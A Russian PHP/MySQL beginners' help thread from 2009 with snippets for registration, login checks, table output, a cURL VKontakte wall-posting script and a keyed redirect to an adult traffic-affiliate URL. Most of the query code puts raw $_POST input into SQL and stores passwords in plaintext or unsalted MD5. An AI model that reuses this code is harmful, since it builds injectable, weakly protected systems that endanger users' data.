а зачем ты вставляешь 6 значений в 5 полей и не закрываешь скобку?$userAdd = mysql_query("INSERT INTO
users (login,password,email,name,www)
VALUES
('$login', '$password', '$email', '$name', '$www')");P.S. перед выполнением запроса входящие данные лучше проверять

krypt3r
17.10.2009, 21:01
users (login,password,email,name,www)

5 полей

('$login', '$password', '$email', '$name', '$www', ''")

6 полей

Patronik
17.10.2009, 21:01
[QUOTE=L I G A]а это что :
... '$www', ''");
?
ето он первичний ключ записивает

qW1zer
17.10.2009, 21:04
А если при создании таблицы выбрать string ??
хм,точно не заметил последние зачем
Спасибо сейчас попробую
Patronik,если б я знал!Я говорю только только начал связываться с мускулом!
Поэтому даже уровня Привет мир нет

qW1zer
17.10.2009, 21:12
gisTy
Твой вариант сработал,


$userAdd = mysql_query("INSERT INTO
users (login,password,email,name,www)
VALUES
('$login', '$password', '$email', '$name', '$www')");



Спасибо,данные занесены!Чуть позже пара вопросов будет еще

qW1zer
17.10.2009, 22:22
Вот и появились эти пара вопросов,не втыкаю теперь как сделать форму для логина,точнее ее обработчик!
В общем форма такая:
Login
Password
Обработчик так же в переменную через пост получает их,и как сделать чтобы из базы из всех логинов и паролей проверились есть ли такой логин и пасс и если есть то кука поставилась,куку я сделаю,а вот проверку хрен!
Снова прошу помощи,если кто может подкиньте этот самый,заветный кусочек кода

diGriz
17.10.2009, 22:26
Вот и появились эти пара вопросов,не втыкаю теперь как сделать форму для логина,точнее ее обработчик!
В общем форма такая:
Login
Password
Обработчик так же в переменную через пост получает их,и как сделать чтобы из базы из всех логинов и паролей проверились есть ли такой логин и пасс и если есть то кука поставилась,куку я сделаю,а вот проверку хрен!
Снова прошу помощи,если кто может подкиньте этот самый,заветный кусочек кода


$res = mysql_query("SELECT
id,
login ,
password,
email
FROM
users
WHERE
login = '$login' AND password = '$password'");
if (mysql_num_rows($res) != 1) {
header('Location:../index.php');
die;
} else {
//Если пользователь есть
}

L I G A
17.10.2009, 22:36
$query = "SELECT pass FROM `users` WHERE login='".$login."'";
$nme = mysql_query($query);
if($nme)
{

// Если запрос вернул результат - производим дальнейшую обработку

if(mysql_num_rows($nme) > 0)
{

$passwordnah = mysql_result($nme, 0);
// Сравниваем пароль из базы данных и введённый .юзверем
if ($passs == $passwordnah)
/*если пасс в мд5
if (md5($passs) == $passwordnah)
*/
{
дальнейшие действия
}
}
}


________
0ph.ru

Fepsis
18.10.2009, 01:12
Приветствую всех...

У меня такой вопрос:
Пытаюсь авторизоваться на одном сайте (php+curl)... Какой пост запрос слать серверу отследил как полагается, и отсылаю его...
Причём независимо от того, верные данные в запросе или нет, получаю следующий ответ от сервака:


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 17 Oct 2009 20:54:12 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive

<html>
<head>
<script>
var expire = new Date();
expire.setTime(expire.getTime() + 3600000 * 24);
document.cookie = 'check=' + escape('3f39c4ae1ba5cda27e93350f095d43cb') + ';expires=' + expire.toGMTString() + ';path=/';
// document.location.href = document.location.href;
document.location.reload(false);
</script>
</head>
</html>
Понятно, что устанавливаются куки яваскриптом.. но как должны эти куки выглядеть (не понятно мне что такое expire.toGMTString(), вернее как его расчитать средствами php)

SeoLapot
18.10.2009, 02:22
Сам в пхп не шарю, но не пойму почему не работает этот скрипт - по идее он должен выдавать на странице каким-то образом все страницы, которые есть на сайте (как бы карта сайта), но почему-то не пашет. Помогите)

<?php
$backlink='';
if (isset($_GET['link']) && !empty($_GET['link'])) {
$r=parse_url($_GET['link']);}
if (isset($r['path'])) {$backlink="<a href=\"http://{$_GET['catalog']}\" target=_blank>: {$r['path']}</a><br>\n";}
echo $backlink;
?>

LStr1ke
18.10.2009, 02:37
(не понятно мне что такое expire.toGMTString(), вернее как его расчитать средствами php)

expire - служит для обозначения "Времени жизни" кук.
toGMTString переводит в строку вида:

Sat, 17 Oct 2009 22:39:52 GMT

На php похожая -
date("r");
Или так
date("D, d M Y H:i:s",time()-14400)." GMT";

azsx
18.10.2009, 11:00
что я хочу
скрипт на php который авторизируется на сайте вконтакте и пишет что нибудь (предложение одно) на стене или на заметках (или и там и там). Авторизация под моим логином, писать надо на моей стене. Просто хочу посмотреть исходный код как это вообще делается, а то в php я еще новичок и понять пока носом не ткнут у меня не получается...
Заранее спасибо за ответы.

rushter
18.10.2009, 12:38
что я хочу
скрипт на php который авторизируется на сайте вконтакте и пишет что нибудь (предложение одно) на стене или на заметках (или и там и там). Авторизация под моим логином, писать надо на моей стене. Просто хочу посмотреть исходный код как это вообще делается, а то в php я еще новичок и понять пока носом не ткнут у меня не получается...
Заранее спасибо за ответы.
Ищи в разделе где-то уже выкладывали пример,возможно в теме скриптов.

qW1zer
18.10.2009, 14:12
L I G A
хмм,странно вроде видно что все правильно но у меня почему-то не получилось!
При регистрации занос пароля в мд5 сделал,при сравнении раскомментировал,но почему-то не работает!Может есть еще вариант?

L I G A
18.10.2009, 14:18
L I G A
хмм,странно вроде видно что все правильно но у меня почему-то не получилось!
При регистрации занос пароля в мд5 сделал,при сравнении раскомментировал,но почему-то не работает!Может есть еще вариант?
код в студию

________
0ph.ru

Fepsis
18.10.2009, 15:01
что я хочу
скрипт на php который авторизируется на сайте вконтакте и пишет что нибудь (предложение одно) на стене или на заметках (или и там и там). Авторизация под моим логином, писать надо на моей стене. Просто хочу посмотреть исходный код как это вообще делается, а то в php я еще новичок и понять пока носом не ткнут у меня не получается...
Заранее спасибо за ответы.

<?php
set_time_limit(0);

$mail = 'твоё мыло@mail.ru';
$pass = 'твой пасс';
$message = 'Привет.! как дела..?! ';

function goto($url='', $post='', $referer='')
{
$cl = curl_init();
curl_setopt($cl, CURLOPT_URL, $url);
curl_setopt($cl, CURLOPT_HEADER, 1);
curl_setopt($cl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($cl, CURLOPT_COOKIEJAR, $_SERVER['DOCUMENT_ROOT'].'/cookie.txt');
curl_setopt($cl, CURLOPT_COOKIEFILE, $_SERVER['DOCUMENT_ROOT'].'/cookie.txt');
if (!empty($post)) {curl_setopt($cl, CURLOPT_POST, 1);curl_setopt($cl, CURLOPT_POSTFIELDS, $post);} else {curl_setopt($cl, CURLOPT_POST, 0);}
if (!empty($referer)) curl_setopt($cl, CURLOPT_REFERER, $referer);
$ex=curl_exec($cl);
curl_close($cl);
return $ex;
}

$ex = goto('http://login.vk.com/?act=login', 'email='.$mail.'&pass='.$pass.'&vk=&expire=1');
preg_match("/(?<=id=\'s\' value=\')(.*?)(?=\')/", $ex, $s);

$ex = goto('http://vkontakte.ru/login.php?op=slogin&redirect=1', 's='.$s[0]);

$ex = goto('http://vkontakte.ru/wall.php?act=write');
preg_match("/(?<=name=\"wall_hash\" value=\")(.*?)(?=\")/", $ex, $wall_hash);
preg_match("/(?<=name=\"to_id\" value=\")(.*?)(?=\")/", $ex, $to_id);

goto('http://vkontakte.ru/wall.php', 'to_id='.$to_id[0].'&act=sent&wall_hash='.$wall_hash[0].'&message='.urlencode(iconv('Windows-1251','UTF-8',$message)));

?>

qW1zer
18.10.2009, 16:35
<?
$dblocation="localhost";
$dbname="dbuser";
$dbuser="dbname";
$dbpassword="dbpass";
$db_connect = mysql_connect($dblocation,$dbuser,$dbpassword);
$db_select = mysql_select_db($dbname,$db_connect);
$password = md5($_POST['pass']);
$login = $_POST['login'];
$query = "SELECT password FROM `users` WHERE login='".$login."'";
$nme = mysql_query($query);

if($nme)
{

// Если запрос вернул результат - производим дальнейшую обработку

if(mysql_num_rows($nme) > 0)
{

$passwordnah = mysql_result($nme, 0);
// Сравниваем пароль из базы данных и введённый .юзверем
//if ($pass == $passwordnah)//If not md5
if (md5($password) == $passwordnah)

{
echo "Вход осуществлен";
}
}
}
?>

L I G A
18.10.2009, 16:45
qW1zer
зачем два раза md5() брать с пасса?:
$password = md5($_POST['pass']);
...
md5($password) == $passwordnah

________
0ph.ru

qW1zer
18.10.2009, 17:09
L I G A
Логично,я проверил еще с двойным md5 он выводит:
<<п
короче что-то подобное при левой кодировке,но я и так и так попробовал - одно и то же!
И при неверных логине и пароле!
Щас уберу,сделаю иначе

qW1zer
18.10.2009, 20:26
Фуух
Разобрался . .
Теперь еще вопрос,так же связанный с мускулом!
Допустим у меня есть форма добавления с полями:
IP
PORT
Они успешно заносятся в базу в таблицу
Как сделать так чтобы можно было вытащить из мускул эти IP's PORT's и как бы в таблицу вывести,то есть весь этот массив серверов!
Чтобы к примеру так:
$ip
$port
И после вставки в html таблицу она получалась так
-----------------
|ip1 | port1|
-----------------
|ip2 | port2 |
-----------------
и т.д,в общем что-то типо того!

diGriz
18.10.2009, 20:44
2 qW1zer


<?php
$dblocation="localhost";
$dbname="mdb";
$dbuser="root";
$dbpassword="";
$db_connect = mysql_connect($dblocation,$dbuser,$dbpassword);
$db_select = mysql_select_db($dbname,$db_connect);

$result = mysql_query("SELECT * FROM mytable");
?>
<table border="1">
<?php
while($row = mysql_fetch_array($result)) {
?>
<tr>
<td><?=$row['ip']?></td>
<td><?=$row['port']?></td>
</tr>
<?php
}
?>
</table>

qW1zer
18.10.2009, 20:51
diGriz
Огромное спасибо!

qW1zer
18.10.2009, 21:19
2diGriz
Можно ли как-то этот код сцепить с кодом ниже:


include("classes/class_PQ.php");
$pq = PQ::create($conf);
global $pq;

$info= $pq->query_info('217.172.21.138:27034');
$map=$info[map];
$name=$info[name];


пробовал вместо IP и Port в этом коде ставить $row['ip'] и порт
но не получилось,может ты что-то подскажешь?

diGriz
18.10.2009, 21:47
Как пробывал подставлять $row[]? Не знаю, какие методы есть в твоем классе, посмотри может есть который возвращает все значения из таблицы.

qW1zer
18.10.2009, 22:10
class_PQ (http://l1nux.ru/upload/classes_pq.rar)
Класс не мой,вытащен из PsychoStats
Может кому пригодится и может кто-то что-то придумает . .

azsx
19.10.2009, 16:16
код предложенный Fepsis не работает.
код который rushter предложила поискать - не нашел.
Вот сижу разбираюсь почему код Fepsis не работает. Грустно пока все...

Fepsis
19.10.2009, 16:39
код предложенный Fepsis не работает.
код который rushter предложила поискать - не нашел.
Вот сижу разбираюсь почему код Fepsis не работает. Грустно пока все...
Где тестируешь скрипт..?!? На денвере прекрасно работает.. (надеюсь мыло и пасс ты свои вписал в соответствующие поля..?!) Если на хосте каком скрипт запускаешь, скинь в ПМ асю - помогу..)

qW1zer
19.10.2009, 20:41
Я тут еще подумал,а если например я без класса буду делать это!А через сокеты,скрипт мониторинга этот есть!


<?PHP
$server=$_GET['server'];
$port=$_GET['port'];
$qw=chr(32);
$fp = fsockopen (udp://$server:$port);
if (!$fp) {
echo "ERROR: $errno - $errstr<br>\n";
} else {
fwrite($fp,"\xFF\xFF\xFF\xFFTSource Engine Query\x00".chr(10));
socket_set_timeout($fp,2,1);
$st=fread($fp,1);
$r=socket_get_status($fp);
if ($st) {
$r=$r["unread_bytes"];
$st.=fread($fp,$r);
fclose($fp);
$st=substr($st,5);
$address = SubStr($st,1,StrPos($st,chr(0)));
$st = SubStr($st,StrPos($st,chr(0))+1);
$name = SubStr($st,0,StrPos($st,chr(0)));
$st = SubStr($st,StrPos($st,chr(0))+1);
$map = SubStr($st,0,StrPos($st,chr(0)));
$st = SubStr($st,StrPos($st,chr(0))+1);
$st = SubStr($st,StrPos($st,chr(0))+1);
$st = SubStr($st,StrPos($st,chr(0))+1);
$current = ord(SubStr($st,0,1));
$max = ord(SubStr($st,1,1));
}
}
?>



Возможно ли тогда сделать лист серверов?

zannussi
20.10.2009, 21:37
Всем привет.
Скажите, как мне на пхп определить пришел человек с телефона на сайт или с компа?
Нужно для редиректа компов. Спасибо

qW1zer
20.10.2009, 21:40
$_SERVER[HTTP_USER_AGENT]
И проверить какие данные при мобиле,потом через if если конечно правильно говорю!
Но в принципе должно работать!

qW1zer
20.10.2009, 21:42
Пример:

Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.13) Gecko/2009073022 MRA 5.4 (build 02652) Firefox/3.0.13 WebMoney Advisor

Это во время нахождения на страницы с WinXP с мозиллы!
А теперь попробуй сделай для теста страницу,пусть она запишет эти данные!А потом по образцу сравнивай!
Если несу немного бред извиняюсь,сам в PHP не силен

restart_05
20.10.2009, 21:56
Нужно из слова длинной 30 символов выводить первые 15, а остальные 15 заменить на ... как сделать ?

restart_05
20.10.2009, 21:58
Нужно из слова длинной 30 символов выводить первые 15, а остальные 15 заменить на ... как сделать ?

Pashkela
20.10.2009, 21:59
2 zannussi:

gethostbyaddr($_SERVER['REMOTE_ADDR']) и все, достаточно, там по любому будет билайн, мтс, мегафон или скайлинк видно. Ну если совсем жесткача лупить, то можно еще и gethostbyaddr($_SERVER['HTTP_X_FORWARDED_FOR']) проверять

2 restart_05:


if (strlen($str)<=15) {
echo $str;
} else {
echo substr($str,0,15) . "...\n";
}

qW1zer
20.10.2009, 22:03
restart_05


$text = "ProstbIe slova.Dlinnooooooooooooooooooooooooooooooooeeeeeee eeeeeeeee slovo";
$soktext = wordwrap($text, 15, "...", true);
echo "$soktext";


Правда оно не заменит,а просто поставить после первых 15 ...,я использовал это для переноса длинных слов!

qW1zer
20.10.2009, 22:06
Pashkela
Не знаешь, что с моей проблемой сделать можно?На пред. страницах

zannussi
20.10.2009, 22:07
Всем привет.
Скажите, как мне на пхп определить пришел человек с телефона на сайт или с компа?
Нужно для редиректа компов. Спасибо
был когда-то такой скрипт, потерял. Может есть у кого-нибудь?
Pashkela, благодарю за ответ, но вот с этим не совсем понял
gethostbyaddr($_SERVER['HTTP_X_FORWARDED_FOR'])

Pashkela
20.10.2009, 22:13
2diGriz
Можно ли как-то этот код сцепить с кодом ниже:


include("classes/class_PQ.php");
$pq = PQ::create($conf);
global $pq;

$info= $pq->query_info('217.172.21.138:27034');
$map=$info[map];
$name=$info[name];


пробовал вместо IP и Port в этом коде ставить $row['ip'] и порт
но не получилось,может ты что-то подскажешь?

если про это, то не вижу в чем проблема:

$info= $pq->query_info($row['ip'] . ":" . $row['port'] );

но судя по вопросу подзреваю, что делал так:

$info= $pq->query_info('$row['ip']:8080' );

так вот, переменные, все, в PHP, если в кавычках, то только в двойных, например "$a", а если элемент массива, то еще до кучи и обрамляется фигурными скобками:

$info= $pq->query_info("{$row['ip']}:{$row['port']}" );
$info= $pq->query_info("{$row['ip']}:8080" );


Pashkela, благодарю за ответ, но вот с этим не совсем понял

это если чел особо продвинутый и умеет юзать прокси с мобилы, не заморачивайся

запусти просто у себя:


echo gethostbyaddr($_SERVER['REMOTE_ADDR']);


и все поймешь сразу о СВОЕМ IP, провайдере и прочих интересных интересностях

qW1zer
20.10.2009, 22:15
2Pashkela
Спасибо щас попробую

$info= $pq->query_info('$row['ip']:8080' );

Нет,так не делал

zannussi
20.10.2009, 22:22
2Pashkela,
Благодарю!

#Wolf#
21.10.2009, 15:08
dele. решил проблему более рационально.

qW1zer
21.10.2009, 15:16
Это уже не php,а html

<select>
<option value="category1">Категория 1</option>
</select>

и т.д
подробнее о select на Htmlbook.ru

qW1zer
21.10.2009, 15:18
p.s.Не забудь имя поставить,чтобы через $_POST принимать!Уж тут думаю знаешь

[K4t]
21.10.2009, 16:27
ты скинь полный вариант скрипта я заточу тебе под конкретную задачу, тебе нужен постраничный вывод, например по принципу выдачи серча в гугл я правильно понял?
да, именно так. по принципу каталога. вот код: function linkbar($pos)
{
global $table, $itemcount, $site;

$res = mysql_result(mysql_query("select count(*) from $table"),0);
$kazel = ceil($res/$itemcount);
if ($kazel <= $pos) exit;
echo "<center>";
for ($i=0;$i<$kazel;$i++)
{
$ix = $i + 1;
if ($pos == $i)
{
echo "<a href=$site?pos=$i><b>[</b> $ix <b>]</b></a>";
} else { echo "<a href=$site?pos=$i>[ $ix ]</a>";}
$ix = $i - 1;
} echo "</center>";

}вооот... а надо чтобы было только по 10 штук за один раз.
$itemcount - это количество выводимых на страницу... разделов или блоков данных
$site - http://site/

Byrger
21.10.2009, 19:56
Соори за такой глупый вопрос но я плохо умею работать с файлами

нужно открыть фаил который сожержит в себе слома через пропуск строки и затем вывести этот фаил на массив типо
While(...){
echo $val;

}

Как открывать файлы я знаю эти fopen
нужно как правильно его взять и пролистать циклом


вид файла:

12341546
фыаыва
фафываыфва
455465ыва
ывпаывп
фыаываы

m0Hze
21.10.2009, 20:00
echo file_get_contents('file'):
Накуй цыклы)

Byrger
21.10.2009, 20:02
echo file_get_contents('file'):
Накуй цыклы)
надо для дольнейшей записи в БД

m0Hze
21.10.2009, 20:06
$file = file('file');
for($i=0;$i<count($file);$i++){
echo $file[$i];
}

Byrger
21.10.2009, 20:14
$file = file('file');
for($i=0;$i<count($file);$i++){
echo $file[$i];
}
Warning: file() [function.file]: URL file-access is disabled in the server configuration

Сервером запрещено.

m0Hze
21.10.2009, 20:20
Warning: file() [function.file]: URL file-access is disabled in the server configuration

Сервером запрещено.
Ну тогда fopen, в и в цыкле читать пока не вернет фалсе

mailbrush
21.10.2009, 20:54
Warning: file() [function.file]: URL file-access is disabled in the server configuration

Сервером запрещено.
Поставь в php.ini
allow_url_fopen = Yes

krypt3r
21.10.2009, 21:57
2Byrger

$f = fopen(...);
while (!feof ($f)) {
$line = fgets ($f);
mysql_query (...);
}
fclose ($f);

AVIRA
21.10.2009, 22:32
кто помможет разобратся?есть скрипт пеереадресации по ключу (слову набор цифр) вот пример скрипта что ставится на редикетном сайте в индекс пхп выше основного кода страницы, ключ в данном случае 888888

<?
if(@$_POST['key']=="888888"):
if(eregi("opera",$_SERVER['HTTP_USER_AGENT'])):
print '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript">
window.location = "http://traffadult.com/advpage.php?sub=666";
</script>
<meta http-equiv="Expires" content="Thu, Jan 1 1970 00:09:00 GMT">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<title>ipserf.net</title> </head> <body>
<a href="http://traffadult.com/advpage.php?sub=666">click me!</a>
</body></html>';
exit();
else:
Header("Content-type: text/vnd.wap.wml; charset=utf-8");
echo '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.2//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<wml><head><meta http-equiv="Cache-Control" content="no-cache" forua="true"/>
</head>
<card id="main">
<onevent type="onenteforward">
<go href="http://traffadult.com/advpage.php?sub=666">
<setvar name="key" value="" />
</go></onevent></card></wml>';
exit();
endif;
endif;
?>


кто подскажет какая первая часть скрипта которая отправляет данные?очен надо может подскажет кто?

REBUUS
21.10.2009, 22:45
window.location = "http://traffadult.com/advpage.php?sub=666";
вот это сторочка методом ГЕТ на advpage.php отправляет sub=666
если я правильно понял вопрос

AVIRA
21.10.2009, 22:49
а можно пример такого скрипта целиком?

Insane bboy
22.10.2009, 09:59
у меня вопрос:)
к примеру есть менюшка - главная страница, форум, фотоальбом итд
сделана она в виде <a href="">Главная</a> и тд
теперь сам вопрос:
к примеру таже меняюшка выполнена в виде кнопок, то есть форма и кнопки в зависимости от того какую ты нажал проверяется условие if(isset($_POST['page'])) ну и инклюдится соответсвующий контент, как такое же сделать но с анкорами? или обязательно рисовать кнопки? через Get запрос не нужно, это дрочно..

Корвин
22.10.2009, 11:54
у меня вопрос:)
к примеру есть менюшка - главная страница, форум, фотоальбом итд
сделана она в виде <a href="">Главная</a> и тд
теперь сам вопрос:
к примеру таже меняюшка выполнена в виде кнопок, то есть форма и кнопки в зависимости от того какую ты нажал проверяется условие if(isset($_POST['page'])) ну и инклюдится соответсвующий контент, как такое же сделать но с анкорами? или обязательно рисовать кнопки? через Get запрос не нужно, это дрочно..


дауж, тебе сперва нада научится вопросы задавать корректно, я так понимаю ты хочешь чтобы якорь тоесть тег <a> исполнял функции <input>, на самом деле бред какой то, но если оч нада это можно сделать с помощью яваскрипта, где нибудь на странице размещаешь пустую форму невидимую, а при тыке на якорь передаешь значение в функцию и там создаешь <input> для спрятанной формы

типа так

<form name="bred" mothod="POST">
</form>

этот код создает инпут

child = document.createElement("input");
child.type = "hidden";
child.name = "name";
child.value = "value";

этот добавляет инпут к форме

document.forms.bred.appendChild(child);

этот подтверждает форму

document.forms.bred.submit();

дальше сам разбирайся

Insane bboy
22.10.2009, 13:10
ну может и бред, но тогда как лучше сделать навигацию по сайту? мне казалось что удобнее чтоб нажал на ссылку и в индекс.пхп загрузился определенный контент, или как?

Gray_Wolf
22.10.2009, 13:16
ну может и бред, но тогда как лучше сделать навигацию по сайту? мне казалось что удобнее чтоб нажал на ссылку и в индекс.пхп загрузился определенный контент, или как?
А причём тут анкоры?

Insane bboy
22.10.2009, 13:36
перефразирую:
как лучше сделать навигацию по сайту?
до этого я делал в отдельном файле форму с кнопочками и инклюдил её на клавную страницу и взависимости от того что нажималось инклюдились разные страницы, но так как дизайн я разрабатывать не умею, то взял шаблон. а там меню сделанно в виде анкоров, вот и интересно как нормальные люди вообще делают, а то правда что то фантазировать начинаю:)

Gray_Wolf
22.10.2009, 14:05
Ну если это просто небольшой информационный сайт, то просто меняем
if(isset($_POST['page']))
на
if(isset($_GET['page']))
а
<a href="">Главная</a>
Заменяем на <a href="./index.php">Главная</a>
<a href="">Галерея</a>
например на
<a href="./index.php?page=galery">Галерея</a>
и т.п.
Если ЧПУ неособо нужно.

Корвин
22.10.2009, 14:24
перефразирую:
как лучше сделать навигацию по сайту?



проще поискать готовый код навигации или вообще поставить цмс

qW1zer
22.10.2009, 16:40
В общем задача моя такова,сделать вывод из таблицы в массив,а далее этот массив поместить под конфиг или иначе под еще один массив,ибо я не знаю как еще объяснить выкладываю проблему!
Есть класс:class_PQ(Вытащен из игровой статистики PsychoStats) с помощью этого класса можно сделать мониторинг серервера,но проблема в том,что надо в ручную записывать айпи:порт
С выводом в таблицу из базы я уже разобрался,но подставить под этот класс не получается!
Вот класс:
http://l1nux.ru/upload/classes_pq.rar
Вот код подключения к серверу и получения информации,при помощи класса:


include("class_PQ.php"); // Если надо укажите путь.
$pq = PQ::create($conf);
global $pq;
$info= $pq->query_info('80.93.48.220:27017'); // Массив информации о сервере

if (!$info){ echo "Не отвечает!";}

// $info[serverlocked] - Пароль на сервере 1/2
// $info[serversecure] - VAC 1/2
// $info[totalplayers] - Сейчас игровой
// $info[maxplayers] - Максимум игроков
// $info[map] - Карта сервера


А вот код,который из базы хапает все IP и Port
и выводит в таблицу,код дали здесь и он работает!


<?php
$dblocation="localhost";
$dbname="mdb";
$dbuser="root";
$dbpassword="";
$db_connect = mysql_connect($dblocation,$dbuser,$dbpassword);
$db_select = mysql_select_db($dbname,$db_connect);

$result = mysql_query("SELECT * FROM mytable");
?>
<table border="1">
<?php
while($row = mysql_fetch_array($result)) {
?>
<tr>
<td><?=$row['ip']?></td>
<td><?=$row['port']?></td>
</tr>
<?php
}
?>
</table>


Суть в том,что при вставке вместо IP и PORT в первом коде,$row['ip'] и так же порт ничего не выходит,кому не сложно помогите с этой проблемой!Пробовал разные варианты . . .буду благодарен

Gifts
22.10.2009, 17:01
<?php
$dblocation="localhost";
$dbname="mdb";
$dbuser="root";
$dbpassword="";
$db_connect = mysql_connect($dblocation,$dbuser,$dbpassword);
$db_select = mysql_select_db($dbname,$db_connect);

$result = mysql_query("SELECT * FROM mytable");

include("class_PQ.php"); // Если надо укажите путь.
$pq = PQ::create($conf);
global $pq;

?>
<table border="1">
<?php
while($row = mysql_fetch_array($result)) {
?>
<tr>
<td><?=$row['ip']?></td>
<td><?=$row['port']?></td>
<td><pre><?PHP $info= $pq->query_info(trim($row['ip']).':'.$row['port']);
if (!$info){ echo "Не отвечает!";} else {var_dump($info);} ?></pre></td>
</tr>
<?php
}
?>
</table>

qW1zer
22.10.2009, 17:07
Спасибо,вариант работает!Можно сказать спас!

qW1zer
22.10.2009, 17:13
Еще небольшой вопросец!
Как вывести кол-во строк в таблице,то есть кол-во записей

ANTIHАCK
22.10.2009, 17:14
В общем банальный вопрос...

Скрипт :


$login=$_POST['zovut'];
$let=$_POST['let'];
$ip = $_SERVER["REMOTE_ADDR"];
$base=fopen("base.txt", "a");
fwrite($base,"$login $let $ip");
fclose($base);
echo $login;
echo " ";
echo $let

Как сделать так что бы после записи в файл ( fwrite($base,"$login $let $ip"); ) был переход на новую строчку... :rolleyes: пробовал сделать так:

fwrite($base,"$login $let $ip <br>"); короче это все не правильно)) подскажите....

Gray_Wolf
22.10.2009, 17:16
ANTIHАCK
echo '\n\r';
в твоём случае видимо fwrite($base,"$login $let $ip\n\r");

L I G A
22.10.2009, 17:17
ANTIHАCK
fwrite($base,$login $let $ip."\r\n");

______
0ph.ru

b3
22.10.2009, 17:18
L I G A
В одинарных кавычках, переноса не будет. Так и запишет в файл \r\n

[K4t]
22.10.2009, 17:18
Вопрос в про "линк бар" ещё в силе ) но тут такаая проблема. Нужно выводить по 3 таблицы за в строке потом br 3 таблицы, онять br итд. вроде: <table//><table//><table//><br>
<table//><table//><table//><br>
<table//><table//><table//><br>
...
<>
Код написал... ) но работает только двумя ((
while ($row = mysql_fetch_array($query)) {
$nas++;
if ($nas % 2 == 0) echo "<table class=icon><tr>";
echo "<td>";
echo "
<table class=icon align=center valign=center>
<tr>
<td>".$row['name']."</td>
</tr>
</table>";
echo "</td>";
if ($nas % 2 !== 0) echo "</tr></table><br>";
}
да.. он ещё и какой-то некрасивый ))))

b3
22.10.2009, 17:21
[K4t]
Таблицу вынеси за цикл а в теле цикла просто колонки и столбцы в нужных стилях делай.

ANTIHАCK
22.10.2009, 17:21
Спасибо всем.

[K4t]
22.10.2009, 17:38
Оооо! Мысль )))) Щас.. типа так не работает

$nas = 0;
echo "<center><table class=icon>";
while ($row = mysql_fetch_array($query)) {
if ($nas % 3 == 0) echo "<tr>";
echo "<td class=icon>".$row['name']."</td>";
if ($nas % 3 == 0) echo "</tr>";
$nas++;
}
echo "</table></center>";

[K4t]
22.10.2009, 18:05
Вот так работает, но </tr> не вывожу ( без tr пашет ))
$nas = 0;
echo "<center><table class=icon>";
while ($row = mysql_fetch_array($query)) {
if ($nas % 3 == 0) echo "<tr>";
echo "<td class=icon>".$row['name']."</td>";
//if ($nas % 0 == 0) echo "</tr>";
$nas++;
}
echo "</table></center>";
}

zifanchuck
23.10.2009, 01:26
Привет. Есть в пхп функция чтобы поднести допустим 5 в 35 степень. знаю что есть квадрат, а вот что бы в 35-ую незнаю. Можно просто цыклом но интересно такое существует?